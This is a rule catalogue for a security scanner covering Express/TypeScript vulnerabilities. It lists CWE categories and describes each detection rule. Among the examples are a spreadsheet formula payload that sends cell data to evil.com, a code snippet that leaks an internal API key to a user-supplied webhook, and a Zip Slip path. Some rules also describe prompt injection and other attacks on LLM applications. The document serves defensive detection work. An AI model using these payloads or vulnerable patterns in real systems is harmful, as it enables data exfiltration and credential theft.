# Express (TypeScript) Security Security vulnerabilities and detection rules for express framework. 79 rules across 58 CWE categories. - Total rules: 79 - CWE categories: 58 - Critical rules: 13 ## CWEs - **CWE-200**: Exposure of Sensitive Information to an Unauthorized Actor - **CWE-798**: Use of Hard-coded Credentials - **CWE-639**: Authorization Bypass Through User-Controlled Key - **CWE-20**: Improper Input Validation - **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - **CWE-94**: Improper Control of Generation of Code ('Code Injection') - **CWE-327**: Use of a Broken or Risky Cryptographic Algorithm - **CWE-400**: Uncontrolled Resource Consumption - **CWE-1321**: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-74**: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') - **CWE-78**: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - **CWE-79**: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - **CWE-89**: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - **CWE-90**: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') - **CWE-93**: Improper Neutralization of CRLF Sequences ('CRLF Injection') - **CWE-113**: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') - **CWE-176**: Improper Handling of Unicode Encoding - **CWE-201**: Insertion of Sensitive Information Into Sent Data - **CWE-208**: Observable Timing Discrepancy - **CWE-209**: Generation of Error Message Containing Sensitive Information - **CWE-235**: Improper Handling of Extra Parameters - **CWE-252**: Unchecked Return Value - **CWE-259**: Use of Hard-coded Password - **CWE-284**: Improper Access Control - **CWE-287**: Improper Authentication - **CWE-321**: Use of Hard-coded Cryptographic Key - **CWE-338**: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) - **CWE-347**: Improper Verification of Cryptographic Signature - **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') - **CWE-384**: Session Fixation - **CWE-390**: Detection of Error Condition Without Action - **CWE-391**: Unchecked Error Condition - **CWE-434**: Unrestricted Upload of File with Dangerous Type - **CWE-476**: NULL Pointer Dereference - **CWE-489**: Active Debug Code - **CWE-502**: Deserialization of Untrusted Data - **CWE-521**: Weak Password Requirements - **CWE-532**: Insertion of Sensitive Information into Log File - **CWE-547**: Use of Hard-coded, Security-relevant Constants - **CWE-601**: URL Redirection to Untrusted Site ('Open Redirect') - **CWE-611**: Improper Restriction of XML External Entity Reference - **CWE-636**: Not Failing Securely ('Failing Open') - **CWE-670**: Always-Incorrect Control Flow Implementation - **CWE-693**: Protection Mechanism Failure - **CWE-704**: Incorrect Type Conversion or Cast - **CWE-755**: Improper Handling of Exceptional Conditions - **CWE-770**: Allocation of Resources Without Limits or Throttling - **CWE-778**: Insufficient Logging - **CWE-840**: Business Logic Errors - **CWE-843**: Access of Resource Using Incompatible Type ('Type Confusion') - **CWE-862**: Missing Authorization - **CWE-916**: Use of Password Hash With Insufficient Computational Effort - **CWE-918**: Server-Side Request Forgery (SSRF) - **CWE-943**: Improper Neutralization of Special Elements in Data Query Logic - **CWE-1069**: Empty Exception Block - **CWE-1071**: Empty Code Block - **CWE-1236**: Improper Neutralization of Formula Elements in a CSV File - **CWE-1333**: Inefficient Regular Expression Complexity ## Rules - **Express Insecure Session Configuration** [HIGH]: Detects insecure session configuration including weak secrets, insecure cookies, and missing security flags. - **AI-Generated Placeholder Code** [LOW]: Detects TODO and FIXME comments indicating incomplete security implementations in production code. - **Avoid console.log when logging library exists** [low]: Detects console.log calls when a logging library exists. Only fires when winston, pino, bunyan, or log4js is detected. - **Business Logic Bypass** [HIGH]: Detects client-controlled prices or amounts flowing to payment operations without server-side validation. - **Business Logic Input Validation** [MEDIUM]: Detects business-critical values (discount, refund, quantity) used without validation. - **Code Injection via eval() and Function constructor** [CRITICAL]: Detects user input flowing to code execution functions like eval() or Function constructor. - **Command Injection via child_process** [CRITICAL]: Detects user input flowing to shell command execution functions. - **CSV Injection (Formula Injection)** [MEDIUM]: Detects untrusted data being placed into CSV output, which can enable formula injection when the CSV is opened in spreadsheet software like Excel or Google Sheets. CSV injection occurs when user-controlled data containing formula characters (=, +, -, @, \t, \r) is written to a CSV file without proper escaping. When opened in spreadsheet software, these formulas can execute arbitrary commands or exfiltrate data. Example attack payload: =HYPERLINK("http://evil.com/"&A1, "Click") This would create a clickable link that sends the contents of cell A1 to the attacker. - **Debug Mode Enabled in Production** [MEDIUM]: Detects hardcoded debug flags that expose sensitive information or enable debugging features in production. - **Email Header Injection** [HIGH]: Detects email header injection vulnerabilities where user input flows into email headers (To, From, Subject, Cc, Bcc) without validation. Attackers can inject CRLF sequences (\r\n) to add arbitrary headers or body content. Attack impact: - Send spam/phishing emails via your server - Add hidden recipients (Cc/Bcc injection) - Modify email content - Bypass spam filters using your domain reputation Common vulnerable patterns: - nodemailer with user-controlled options - SendGrid/Mailgun APIs with user input - Custom SMTP implementations - **Empty Catch Block** [MEDIUM]: Detects empty catch blocks that silently swallow exceptions without any error handling, logging, or recovery logic. Empty catch blocks hide errors and make debugging extremely difficult. They can mask security issues, data corruption, and system failures. - **Hardcoded Secret in Environment Variable Fallback** [HIGH]: Detects hardcoded secrets used as fallback values for environment variables. Pattern: `process.env.SECRET || 'hardcoded-value'` This is dangerous because: - If the environment variable is not set, the hardcoded value is used - Developers often forget to set env vars in production - The hardcoded fallback may be committed to version control - Creates false sense of security ("we use env vars") This is particularly common with: - JWT secrets - API keys - Database passwords - Encryption keys - **Environment Variable Secret Exposure** [HIGH]: Detects when environment variables (which may contain secrets like API keys, passwords, tokens) are leaked through logging, HTTP responses, or external requests. Environment variables commonly store sensitive data: - API keys (AWS_ACCESS_KEY_ID, STRIPE_SECRET_KEY) - Database passwords (DB_PASSWORD, DATABASE_URL) - JWT secrets (JWT_SECRET) - OAuth tokens (GITHUB_TOKEN, SLACK_TOKEN) Leaking these values exposes credentials and allows unauthorized access. This rule uses taint flow analysis to detect when process.env flows to: - Logging functions (console.log, winston, etc.) - HTTP responses (res.send, res.json) - External HTTP requests - Client-side code (sent to browser) - **Information Exposure Through Error Messages** [MEDIUM]: Detects exposure of sensitive error information (error.message, error.stack, raw error objects) in HTTP responses. This can leak: - Internal file paths and directory structure - Database schema and query details - Third-party API endpoints and credentials - Software versions and technology stack - Business logic and validation rules Attackers use this information to: - Map internal architecture - Identify vulnerable dependencies - Craft targeted attacks - Bypass security controls - **Authentication in Express.js** [MEDIUM]: Detects missing authentication middleware on protected Express.js endpoints. Applies to admin, user-specific, and API management routes. - **Body Parser Middleware in Express.js** [MEDIUM]: Detects missing body parser middleware required for processing request bodies in Express.js. - **Cookie Security Flags Configuration** [MEDIUM]: Detects missing or improperly configured security flags (httpOnly, secure, sameSite) on HTTP cookies in Express.js applications. - **CORS Configuration in Express.js** [MEDIUM]: Detects overly permissive CORS configuration allowing any origin to access resources. - **CSRF Protection in Express.js** [MEDIUM]: Detects missing or inadequate Cross-Site Request Forgery (CSRF) protection in Express.js applications. CSRF attacks perform authorized actions on behalf of authenticated users without their knowledge: 1. Attackers trick users into submitting malicious requests 2. State-changing operations (password changes, transfers) are vulnerable 3. Authentication cookies are automatically included in cross-site requests 4. Without CSRF tokens, applications cannot verify request legitimacy Important notes: - The csurf package is deprecated due to security vulnerabilities - Modern CSRF protection requires proper token validation - SameSite cookies alone are not sufficient (browser compatibility) - Double-submit cookies pattern needs secure implementation Noise filtering: - This rule reduces severity for token-based auth (JWT/Bearer) where CSRF is less relevant - Pure API services without cookie auth have lower CSRF risk - See rules/shared/noise-filters-javascript.yml for context detection patterns - **HTTP Parameter Pollution Prevention in Express.js** [LOW]: Detects missing HTTP Parameter Pollution (HPP) protection in Express.js applications. - **Rate Limiting in Express.js** [MEDIUM]: Detects missing rate limiting on authentication and API endpoints to prevent brute force and DoS attacks. - **Request Size Limits in Express.js** [MEDIUM]: Detects missing or inadequate request size limits in Express.js applications. Without request size limits: 1. Attackers can send large payloads to exhaust server memory (DoS) 2. Disk space can be filled with uploaded content 3. JSON parsing of large payloads blocks the event loop 4. Server resources can be exhausted processing oversized requests Different content types need different limits: - JSON payloads are more dangerous (blocking parsing) - File uploads may legitimately need larger limits - URL-encoded data should be limited - **Security Headers in Express.js** [HIGH]: Detects missing security headers middleware (Helmet) to prevent XSS, clickjacking, and MIME sniffing. - **Express Trust Proxy Configuration** [MEDIUM]: Detects missing 'trust proxy' setting when using rate limiting or IP-based security behind a proxy. - **Failing Open on Security Check Errors** [CRITICAL]: Detects security checks (authentication, authorization, validation) that grant access when an error occurs instead of denying it. This is a critical security flaw where the system "fails open" rather than "failing closed/secure". When authentication or authorization checks encounter errors, the system should DENY access by default, not grant it. - **Unrestricted File Upload** [HIGH]: Detects multer file upload middleware used without proper fileFilter validation. Without fileFilter, attackers can upload any file type including executables, web shells, and other malicious files. - **Hardcoded Credentials** [HIGH]: Detects hardcoded credentials (passwords, API keys, tokens) in database connections and configuration objects. Credentials should be loaded from environment variables or secure secret management systems. This is different from CWE-259 (weak password): - CWE-798: Any credential hardcoded in source code (security risk) - CWE-259: Specifically weak/guessable passwords Even a "strong" password is a security risk if hardcoded because: - It gets committed to version control - It's difficult to rotate - It may leak via logs, error messages, or decompilation - No separation between dev/prod environments - **Hardcoded Development URLs** [LOW]: Detects hardcoded development URLs (localhost, 127.0.0.1) in production code that should use environment variables. - **Hardcoded High-Entropy Secrets Detection** [CRITICAL]: Detects hardcoded secrets with high entropy (randomness) that indicate real credentials. This rule uses entropy analysis to avoid false positives from: - Example/placeholder values ("keyboard cat", "your-secret-here") - Test fixtures ("test123", "fake-api-key") - Short/simple strings ("secret", "password") Only flags strings that appear to be REAL secrets: - High entropy (random-looking characters) - Sufficient length (20+ characters for API keys) - Known secret patterns (AWS keys, JWT tokens, private keys) Hardcoded real secrets pose security risks: - Exposure in version control - Difficult credential rotation - Accidental disclosure in logs/errors - No dev/prod separation - **Hardcoded Secrets in Security Operations** [CRITICAL]: Detects hardcoded secrets (API keys, tokens, passwords) flowing into security-sensitive operations. Uses taint analysis to track hardcoded secret strings from their definition to actual usage in authentication, API calls, or cryptographic operations. This approach reduces false positives by only flagging secrets that are actually used, not just defined in comments, examples, or unused variables. - **Hardcoded Weak Password** [HIGH]: Detects hardcoded weak passwords in database connections and configuration. Common weak passwords like "password", "admin", "root", "secret", etc. are easily guessed and should never be hardcoded in source code. This rule complements the high-entropy secrets detection by catching simple, well-known weak passwords that entropy-based detection would miss. - **HTTP Header Injection (Response Splitting)** [HIGH]: Detects user input flowing into HTTP response headers without CRLF sanitization. - **Horizontal Privilege Escalation** [CRITICAL]: Detects when user-controlled input is used to access resources belonging to other users at the same privilege level without verifying ownership. - **Insecure Direct Object Reference (IDOR)** [HIGH]: Detects when user-controlled input (from URL parameters, query strings, or request body) is used directly to access database records without verifying that the authenticated user has permission to access that specific resource. IDOR vulnerabilities allow attackers to access, modify, or delete resources belonging to other users by manipulating identifiers in requests. - **Potential IDOR - Generic Data Access** [MEDIUM]: Detects endpoints where route parameters flow to generic data access patterns (Map.get, object property access, cache lookups, custom repositories) without visible ownership verification in the function. This rule catches patterns that ORM-specific detection misses, but requires human verification that authorization is not enforced elsewhere (middleware, decorators, API gateway, etc.). **This is a "potential" finding - verify authorization exists somewhere.** - **Incomplete Error Handling** [MEDIUM]: Detects empty catch blocks and incomplete error handling patterns that silently swallow errors. - **JWT Algorithm Confusion Attack** [HIGH]: Detects JWT verification without explicit algorithm specification, allowing "none" algorithm attacks that bypass authentication. - **JWT Decode Without Verification** [HIGH]: Detects use of jwt.decode() without proper verification, leading to authentication bypass. jwt.decode() decodes a JWT token WITHOUT verifying its signature. This means an attacker can create a token with any payload they want, and the application will trust it. Common mistakes: - Using jwt.decode() instead of jwt.verify() - Decoding token for inspection then trusting the payload - Using decoded payload for authorization decisions The decoded payload should NEVER be trusted for security decisions without verification. - **JWT Decode Used for User Identity (Authentication Bypass)** [CRITICAL]: Detects when jwt.decode() output is used for user identity, allowing complete authentication bypass since decode() does not verify signatures. - **JWT User-Controlled Secret** [CRITICAL]: Detects JWT signing or verification using user-controlled secrets. JWT security relies on keeping the secret key confidential. If an attacker can control or influence the secret used for signing or verification, they can: - Forge valid tokens for any user - Bypass authentication entirely - Impersonate other users This includes: - Using req.body.secret, req.query.secret directly as the JWT secret - Allowing users to provide custom secrets for verification - Using weak or predictable secrets from user input - **LDAP Injection** [HIGH]: Detects user input flowing to LDAP queries without escaping special characters. - **LLM Denial of Service** [MEDIUM]: Detects AI/LLM API calls that lack token limits, potentially enabling denial of service attacks. OWASP LLM04 - Model Denial of Service. DoS attacks against LLMs can: - Exhaust API quotas through unbounded token generation - Cause excessive costs via high token usage - Degrade service availability This rule detects: - Missing max_tokens limits on completions - Missing input length validation - Unbounded streaming responses NOTE: Rate limiting is covered separately by the Express rate-limiting rule. See: rules/javascript/projects/express/security/rate-limiting.yaml - **LLM Excessive Agency** [HIGH]: Detects LLM implementations with excessive autonomy that can lead to unintended consequences. OWASP LLM08 - Excessive Agency. Excessive agency occurs when LLMs are granted: - Ability to perform destructive operations without confirmation - Auto-execution of LLM-generated code or commands - Direct database modifications without approval - Financial transactions without human oversight - Email/communication sending without review This rule detects: - Auto-execution of tool calls without human approval - Destructive operations (delete, update, send) without confirmation - Autonomous agent loops without termination controls - Missing human-in-the-loop for sensitive operations - **LLM Insecure Output Handling** [HIGH]: Detects LLM/AI outputs being used directly in dangerous operations without proper validation or sanitization. OWASP LLM02 - Insecure Output Handling. LLM outputs should be treated as untrusted input since: - Prompt injection attacks can manipulate AI responses - LLMs can hallucinate and produce unexpected outputs - Model behavior may change between versions Dangerous operations include: - Code execution (eval, Function, vm.runInContext) - Command execution (exec, spawn, execSync) - SQL queries (database operations) - HTML rendering (innerHTML, document.write) - File operations (writeFile, unlink) - Network requests (fetch, axios with LLM-generated URLs) - **LLM Insecure Plugin Design** [HIGH]: Detects insecure plugin/function calling implementations in AI/LLM systems. OWASP LLM07 - Insecure Plugin Design. Insecure plugin design can lead to: - Remote code execution via tool/function calls - Unauthorized data access through plugins - Privilege escalation via overly permissive tools - SSRF through URL-handling plugins - Command injection through shell plugins This rule detects: - Function calling without input validation - Dynamic function execution from LLM output - Plugin execution without access control - Dangerous functions exposed to LLM - **LLM Model Theft** [HIGH]: Detects vulnerabilities that could lead to model theft or API key exposure. OWASP LLM10 - Model Theft. Model theft can occur through: - API key exposure in client-side code or logs - Model weights exposed via insecure endpoints - Model extraction attacks via unrestricted API access - Insecure model serialization and storage - Missing access controls on model endpoints This rule detects: - Hardcoded API keys in source code - API keys in client-side JavaScript - Model files served without authentication - Missing rate limiting on inference endpoints - Model parameters logged or exposed - **LLM Sensitive Information Disclosure** [HIGH]: Detects potential sensitive information disclosure in AI/LLM implementations. OWASP LLM06 - Sensitive Information Disclosure. Sensitive information can be leaked through: - PII (Personal Identifiable Information) in prompts - Credentials or secrets in prompts or system messages - Sensitive business data sent to third-party LLM APIs - Logging LLM conversations containing sensitive data - LLM responses exposed without filtering This rule detects: - Sensitive data patterns in LLM prompts - Credentials passed to AI APIs - Logging of LLM conversations - Database queries in prompts - PII patterns in messages - **NoSQL Injection via MongoDB Queries** [HIGH]: Detects user input flowing into NoSQL database queries without validation. - **Open Redirect via Untrusted URLs** [MEDIUM]: Detects user input flowing into redirect functions without URL validation. - **Path Traversal in File Operations** [CRITICAL]: Detects untrusted user input used in file system operations without proper validation. This can allow attackers to read or write arbitrary files on the server. - **Prompt Injection via Untrusted Input** [HIGH]: Detects user input flowing directly into AI/LLM prompts without sanitization. - **Prototype Pollution via Object Manipulation** [HIGH]: Detects user input flowing to object merge operations without filtering dangerous keys. - **Prototype Pollution Gadget - Unsafe Property Trust** [MEDIUM]: Detects authorization checks that trust properties without verifying they are own properties. - **Race Condition in Concurrent Operations** [HIGH]: Detects time-of-check to time-of-use (TOCTOU) vulnerabilities where the state can change between checking a condition and acting on it. Common race conditions include: - Check balance, then deduct (balance can change in between) - Check inventory, then create order (stock can be sold out) - Check permissions, then perform action (permissions can change) - File existence check, then read/write (file can be modified) - **Regular Expression Denial of Service (ReDoS)** [HIGH]: Detects potentially catastrophic regular expressions that could lead to ReDoS attacks. ReDoS occurs when regular expressions with certain patterns cause exponential backtracking, leading to excessive CPU consumption. Evil regexes typically contain: 1. Nested quantifiers (e.g., (a+)+, (a*)*) 2. Alternation with overlapping patterns (e.g., (a|ab)*, (a|a)*) 3. Grouping with repetition where the group can match the same input in multiple ways 4. Complex patterns with overlapping possibilities that cause catastrophic backtracking When user input is matched against these patterns, an attacker can craft input that causes the regex engine to take exponential time, effectively causing a denial of service. - **Resource Exhaustion via Exception Handling** [MEDIUM]: Detects code that allocates resources (files, connections, memory) within try blocks but fails to release them in finally blocks or error paths. When exceptions occur, resources may not be properly cleaned up, leading to resource exhaustion, memory leaks, and denial of service. - **Sensitive Data Exposure in Logs** [MEDIUM]: Detects when user-provided sensitive data (passwords, tokens, API keys, secrets, etc.) flows directly into logging functions without proper redaction or masking. This rule uses taint flow analysis to detect ACTUAL sensitive data being logged, not just variables with sensitive names. Only triggers when: 1. Data originates from user input (req.body, req.headers, etc.) 2. Contains sensitive field names (password, token, secret, etc.) 3. Flows into logging functions without sanitization Sensitive data in logs can lead to: - Credential exposure in log files or monitoring systems - Unauthorized access if logs are compromised - Compliance violations (PCI-DSS, GDPR, HIPAA) - Data breaches through log aggregation systems - **Sensitive Field Exposure in API Response** [CRITICAL]: Detects when sensitive data fields (passwords, tokens, secrets, API keys) are exposed through API endpoint responses. This commonly happens when: 1. Mapping user data with sensitive fields: `.map(u => ({ password: u.password }))` 2. Returning entire user objects: `res.json(user)` where user has password field 3. Including sensitive fields in response objects: `res.json({ password: user.password })` This is particularly dangerous when AI-generated code returns user collections without filtering sensitive fields, as in debug endpoints or admin panels. Security Impact: - Password hash exposure enabling offline cracking attacks - API key/token leakage allowing account takeover - Session token exposure enabling session hijacking - PII disclosure violating privacy regulations (GDPR, CCPA) - **SQL Injection via Database Queries** [CRITICAL]: Detects user input flowing into SQL queries without parameterization. - **Server-Side Request Forgery via HTTP Requests** [HIGH]: Detects user input flowing into HTTP request functions without URL validation. - **Timing Attack via Direct Cryptographic Comparison** [MEDIUM]: Detects direct string comparison of cryptographic values (HMAC, signatures, hashes) where timing attacks are practically exploitable. This rule focuses on HIGH-RISK patterns where timing attacks have been demonstrated in real-world attacks: - HMAC/signature verification (webhook signatures, JWT manual verification) - Hash comparison (when verifying pre-computed hashes) NOT flagged (low practical risk over network): - Password comparison: Network jitter (ms) overwhelms timing differences (ns). The real fix is using bcrypt/argon2 which handles this automatically. - General token comparison: Usually better addressed by secure token generation and proper session management. Timing attacks on cryptographic comparisons are practical because: 1. Attacker controls the input format exactly 2. Signatures have known structure (hex/base64) 3. Can be automated with statistical analysis 4. Have been used in real attacks (GitHub, Slack webhook bypasses) - **JavaScript Test with Trivial Always-Passing Assertion** [MEDIUM]: Detects JavaScript test functions that only contain trivial assertions or no assertions at all. These tests provide no actual validation and give false confidence about code correctness. Common patterns include expect(true).toBe(true), assert(true), or tests with only comments. - **Denial of Service via Unbounded Child Processes** [MEDIUM]: Detects child process execution (exec, spawn) without proper resource limits. Without timeout or maxBuffer configuration, these processes can: - Hang indefinitely, consuming server resources - Flood memory with unbounded output - Enable DoS attacks through resource exhaustion This is especially critical when the command can be influenced by user input or interacts with external resources (network requests, git operations, etc.). - **Unchecked Return Value from Critical Operations** [HIGH]: Detects critical operations (file system, database, authentication) whose return values are not checked. Ignoring return values can lead to silent failures, data corruption, and security vulnerabilities. Critical operations that must have their return values checked include: - File system operations (write, delete, chmod) - Database operations (insert, update, delete) - Authentication/authorization checks - Cryptographic operations - **Unhandled Promise Rejection** [HIGH]: Detects promises that are created or called without proper rejection handlers. Unhandled promise rejections can cause application crashes, expose sensitive error information, and lead to inconsistent application state. In Node.js, unhandled promise rejections will terminate the process in future versions, making this a critical reliability and security issue. - **Unicode Normalization Security Issues** [MEDIUM]: Detects missing Unicode normalization in security-sensitive string comparisons. Unicode allows multiple representations of visually identical characters, which attackers can exploit to bypass input validation, authentication, or access control. Common attack vectors: - Homograph attacks (using lookalike characters): "аdmin" vs "admin" (Cyrillic 'а') - Case folding differences: "ß" (German sharp s) becomes "SS" when uppercased - Combining characters: "é" can be a single char or 'e' + combining accent - Full-width characters: "admin" vs "admin" Always normalize Unicode strings using String.prototype.normalize() before security-sensitive comparisons. - **Unsafe Deserialization** [CRITICAL]: Detects user input flowing to unsafe deserialization functions like node-serialize or yaml.load(). - **Unvalidated Business-Critical Values** [HIGH]: Detects business-critical values from user input used without validation. - **Use of Weak Cryptographic Algorithm** [HIGH]: Detects use of weak or broken cryptographic algorithms for hashing passwords or sensitive data. **Weak algorithms detected:** - **MD5**: Cryptographically broken, vulnerable to collision attacks - **SHA1**: Deprecated, vulnerable to collision attacks - **DES/3DES**: Weak block cipher with small key size - **RC4**: Stream cipher with known vulnerabilities **Impact:** - Password hashes can be cracked using rainbow tables or brute force - Data encrypted with weak algorithms can be decrypted by attackers - Integrity of hashed data cannot be guaranteed **For password hashing**, use: - bcrypt (recommended) - scrypt - argon2 - PBKDF2 with strong parameters **For general hashing**, use: - SHA-256 or SHA-512 (for non-password data) - SHA-3 for future-proofing **For encryption**, use: - AES-256-GCM - ChaCha20-Poly1305 - **Weak Password Policy** [HIGH]: Detects password validation that lacks proper complexity requirements, making accounts vulnerable to brute force attacks. - **Weak Password Storage** [HIGH]: Detects password hashing using weak algorithms (MD5, SHA1, plain SHA256) without proper salt or iteration, making passwords vulnerable to rainbow table and brute force attacks. - **Weak Random Number Generation in Security Context** [HIGH]: Detects use of Math.random() for security-sensitive operations like generating tokens, session IDs, or cryptographic keys. Math.random() is not cryptographically secure and can be predicted by attackers. - **Credential Exfiltration via User-Controlled Endpoint** [CRITICAL]: Detects when internal credentials (API keys, secrets, tokens) are sent in HTTP requests to user-controlled endpoints. This allows attackers to exfiltrate server credentials by providing a malicious webhook URL that captures the sensitive headers or body data. Example vulnerable pattern: ```javascript // User controls 'endpoint' from request const endpoint = req.body.webhookUrl; // Server sends its internal API key to attacker-controlled URL await fetch(endpoint, { headers: { 'X-API-Key': process.env.INTERNAL_API_KEY } }); ``` This is different from standard SSRF (which accesses internal resources) - here the attacker exfiltrates server credentials to their own controlled endpoint. - **Cross-Site Scripting (XSS) via Response** [HIGH]: Detects user input flowing into HTTP responses without proper encoding or sanitization. - **XML External Entity (XXE) Injection** [HIGH]: Detects unsafe XML parsing that could allow XML External Entity (XXE) attacks. XXE can lead to file disclosure, SSRF, denial of service, and other attacks. - **Zip Slip Path Traversal** [HIGH]: Detects unsafe extraction of zip/tar archives without path validation, which can lead to arbitrary file writes via path traversal (Zip Slip). Zip Slip is a form of path traversal attack where a malicious archive contains entries with paths like "../../../etc/passwd" that escape the intended extraction directory and overwrite arbitrary files on the system. Vulnerable patterns: 1. Extracting zip entries without validating the extracted path 2. Not checking if extracted path is inside target directory 3. Trusting entry.fileName from the archive 4. Not normalizing/resolving paths before extraction Impact: - Arbitrary file overwrite (RCE if overwriting .bashrc, cron jobs, etc.) - Configuration tampering - Code injection (overwriting source files) - Data exfiltration (overwriting log files) - **TypeScript Enum Type Confusion** [MEDIUM]: Comparing enum values with raw strings bypasses type safety and allows authorization bypass when user input is compared against enum values without proper type checking. - **Non-Null Assertion Without Null Check** [LOW]: The non-null assertion operator (!) bypasses null/undefined checks at compile time without runtime safety, causing crashes when values are unexpectedly null. - **Unsafe 'any' Type in Security-Sensitive Context** [HIGH]: Using 'any' type with untrusted input bypasses TypeScript's type safety, allowing unvalidated data to flow into security-sensitive operations.